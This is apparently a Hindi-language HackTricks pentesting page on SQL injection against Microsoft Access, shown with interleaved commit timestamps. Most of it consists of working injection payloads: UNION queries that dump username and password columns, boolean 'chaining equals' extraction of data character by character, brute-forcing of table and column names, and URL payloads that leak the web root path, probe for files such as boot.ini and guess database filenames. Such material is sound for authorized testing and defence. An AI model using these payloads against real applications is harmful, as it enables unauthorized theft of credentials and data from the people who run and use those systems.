hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

193 lines
18 KiB
Markdown
Raw Normal View History

# MS Access SQL इंजेक्शन
2022-08-31 13:22:13 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-08-31 13:22:13 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
2022-08-31 13:22:13 +00:00
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज में PRs सबमिट करके.
2022-08-31 13:22:13 +00:00
</details>
2023-11-06 08:38:02 +00:00
## ऑनलाइन प्लेग्राउंड
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DB सीमाएँ
2022-08-31 13:22:13 +00:00
### स्ट्रिंग संयोजन
2022-08-31 13:22:13 +00:00
स्ट्रिंग संयोजन `& (%26)` और `+ (%2b)` अक्षरों के साथ संभव है।
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2023-11-06 08:38:02 +00:00
### टिप्पणियाँ
2022-08-31 13:22:13 +00:00
MS access में कोई टिप्पणियाँ नहीं होती हैं, परंतु ऐसा प्रतीत होता है कि किसी क्वेरी के अंतिम भाग को NULL चरित्र के साथ हटाना संभव है:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
यदि यह काम नहीं कर रहा है तो आप हमेशा क्वेरी के सिंटैक्स को ठीक कर सकते हैं:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### स्टैक्ड क्वेरीज
2022-08-31 13:22:13 +00:00
ये समर्थित नहीं हैं।
2022-08-31 13:22:13 +00:00
### LIMIT
2022-08-31 13:22:13 +00:00
**`LIMIT`** ऑपरेटर **लागू नहीं किया गया है**। हालांकि, SELECT क्वेरी परिणामों को **पहले N टेबल पंक्तियों तक सीमित करना संभव है `TOP` ऑपरेटर का उपयोग करके**`TOP` एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाए जाने वाले पंक्तियों की संख्या को दर्शाता है।
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
जैसे कि **`TOP`** का उपयोग करते हैं, आप **`LAST`** का उपयोग कर सकते हैं जो **अंतिम पंक्तियों को प्राप्त** करेगा।
2022-08-31 13:22:13 +00:00
## UNION प्रश्न/उप प्रश्न
2022-08-31 13:22:13 +00:00
SQLi में आप आमतौर पर अन्य तालिकाओं से जानकारी निकालने के लिए एक नया प्रश्न निष्पादित करना चाहेंगे। MS Access हमेशा आवश्यकता होती है कि **उप प्रश्नों या अतिरिक्त प्रश्नों में एक `FROM` का संकेत दिया जाए**।\
इसलिए, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक शर्त में कोष्ठकों के बीच `SELECT` निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ `FROM` का संकेत देना होगा**।\
इसलिए, आपको एक **मान्य तालिका नाम** जानना आवश्यक है।
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
### चेनिंग बराबर + सबस्ट्रिंग
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
यह आपको वर्तमान तालिका के मानों को बिना तालिका के नाम को जाने निकालने की अनुमति देगा।
2022-08-31 13:22:13 +00:00
{% endhint %}
**MS Access** जैसे **अजीब सिंटैक्स** की अनुमति देता है **`'1'=2='3'='asd'=false`**. आमतौर पर SQL इंजेक्शन **`WHERE`** क्लॉज के अंदर होगा और हम इसका दुरुपयोग कर सकते हैं।
2022-08-31 13:22:13 +00:00
कल्पना कीजिए कि आपके पास MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाया है) कि एक **कॉलम का नाम username है**, और वही फील्ड है जिसे आप **निकालना** चाहते हैं। आप वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं जब चेनिंग बराबर तकनीक का उपयोग किया जाता है और संभवतः **`Mid`** फंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए **बूलियन इंजेक्शन** के साथ सामग्री निकाल सकते हैं।
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
यदि आप **टेबल का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` का संयोजन करके बूलियन SQLi के माध्यम से **सभी जानकारी लीक** कर सकते हैं:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
निम्नलिखित ऑनलाइन प्लेग्राउंड में जांच करने के लिए स्वतंत्र हैं।
2022-08-31 13:22:13 +00:00
### टेबल नामों की ब्रूट-फोर्सिंग
2022-08-31 13:22:13 +00:00
चेनिंग इक्वल्स तकनीक का उपयोग करके आप **टेबल नामों की ब्रूटफोर्स** भी कर सकते हैं जैसे कि:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
आप एक और पारंपरिक तरीका भी इस्तेमाल कर सकते हैं:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए स्वतंत्र रहें।_
2022-08-31 13:22:13 +00:00
2023-11-06 08:38:02 +00:00
* Sqlmap सामान्य तालिका नाम: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* एक और सूची [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) में है
2022-08-31 13:22:13 +00:00
### कॉलम नामों की ब्रूट-फोर्सिंग
2022-08-31 13:22:13 +00:00
आप **वर्तमान कॉलम नामों को ब्रूट-फोर्स** कर सकते हैं चेनिंग इक्वल्स ट्रिक के साथ:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
या **group by** के साथ:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
या आप **अलग तालिका** के कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### डेटा डंप करना
2022-08-31 13:22:13 +00:00
हम पहले ही [**चेनिंग इक्वल्स तकनीक**](ms-access-sql-injection.md#chaining-equals-+-substring) **के बारे में चर्चा कर चुके हैं जिसका उपयोग वर्तमान और अन्य टेबल्स से डेटा डंप करने के लिए किया जाता है**। लेकिन अन्य तरीके भी हैं:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
संक्षेप में, क्वेरी "यदि-तब" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" ट्रिगर किया जा सके या अन्यथा "500 आंतरिक त्रुटि" हो। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन संभव है। बाद में LAST का उपयोग करके केवल 10वें ट्यूपल पर विचार किया जा सकता है। ऐसे मूल्य पर, MID ऑपरेटर का उपयोग करके, एक सरल अक्षर तुलना की जा सकती है। MID और TOP के सूचकांक को उचित रूप से बदलकर, हम "username" फील्ड की सभी पंक्तियों की सामग्री को डंप कर सकते हैं।
2022-08-31 13:22:13 +00:00
2023-11-06 08:38:02 +00:00
### समय आधारित
2022-08-31 13:22:13 +00:00
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) पर जांचें
2022-08-31 13:22:13 +00:00
### अन्य रोचक फंक्शन्स
2022-08-31 13:22:13 +00:00
* `Mid('admin',1,1)` स्थिति 1 से लंबाई 1 का उपस्ट्रिंग प्राप्त करें (प्रारंभिक स्थिति 1 है)
2023-11-06 08:38:02 +00:00
* `LEN('1234')` स्ट्रिंग की लंबाई प्राप्त करें
* `ASC('A')` अक्षर का आस्की मान प्राप्त करें
* `CHR(65)` आस्की मान से स्ट्रिंग प्राप्त करें
* `IIF(1=1,'a','b')` यदि तब
* `COUNT(*)` आइटमों की संख्या गिनें
2022-08-31 13:22:13 +00:00
## टेबल्स की गणना
2022-08-31 13:22:13 +00:00
[**यहाँ**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) से आप डेटाबेस में टेबल्स के नाम प्राप्त करने के लिए क्वेरी देख सकते हैं:
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2023-11-06 08:38:02 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
हालांकि, ध्यान दें कि SQL Injections खोजना बहुत सामान्य है जहां आपके पास `MSysObjects` तालिका को पढ़ने की **पहुंच नहीं होती**
2022-08-31 13:22:13 +00:00
## FileSystem पहुंच
2022-08-31 13:22:13 +00:00
2023-11-06 08:38:02 +00:00
### वेब रूट डायरेक्टरी का पूरा पथ
2022-08-31 13:22:13 +00:00
**वेब रूट के पूर्ण पथ की जानकारी आगे के हमलों को सुगम बना सकती है**। यदि एप्लिकेशन त्रुटियां पूरी तरह से छिपी नहीं हैं, तो निर्मित नहीं किए गए डेटाबेस से डेटा चुनने की कोशिश करके डायरेक्टरी पथ का पता लगाया जा सकता है।
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access **वेब डायरेक्टरी के पूर्ण पथनाम के साथ एक त्रुटि संदेश प्रतिक्रिया करता है**
2022-08-31 13:22:13 +00:00
### फाइल एन्यूमरेशन
2022-08-31 13:22:13 +00:00
निम्नलिखित हमला वेक्टर का उपयोग **दूरस्थ फाइलसिस्टम पर एक फाइल के अस्तित्व का अनुमान लगाने के लिए किया जा सकता है**। यदि निर्दिष्ट फाइल मौजूद है, तो MS Access एक त्रुटि संदेश ट्रिगर करता है जो सूचित करता है कि डेटाबेस प्रारूप अमान्य है:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
फाइलों को एन्यूमरेट करने का एक और तरीका **एक डेटाबेस.टेबल आइटम को निर्दिष्ट करने में होता है****यदि** निर्दिष्ट **फाइल मौजूद है**, MS Access एक **डेटाबेस प्रारूप त्रुटि संदेश प्रदर्शित करता है**
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb फाइल नाम अनुमान
2022-08-31 13:22:13 +00:00
**डेटाबेस फाइल नाम (.mdb)** निम्नलिखित क्वेरी के साथ अनुमान लगाया जा सकता है:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
जहां **name\[i] एक .mdb फाइलनाम है** और **realTable डेटाबेस के भीतर एक मौजूद टेबल है**। हालांकि MS Access हमेशा एक त्रुटि संदेश ट्रिगर करेगा, यह संभव है कि एक अमान्य फाइलनाम और एक मान्य .mdb फाइलनाम के बीच अंतर किया जा सके।
2022-08-31 13:22:13 +00:00
2023-11-06 08:38:02 +00:00
### .mdb पासवर्ड क्रैकर
2022-08-31 13:22:13 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनः प्राप्त करने के लिए किया जा सकता है।
2022-08-31 13:22:13 +00:00
2023-11-06 08:38:02 +00:00
## संदर्भ
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-31 13:22:13 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
2022-08-31 13:22:13 +00:00
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में शामिल हों या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
2022-08-31 13:22:13 +00:00
</details>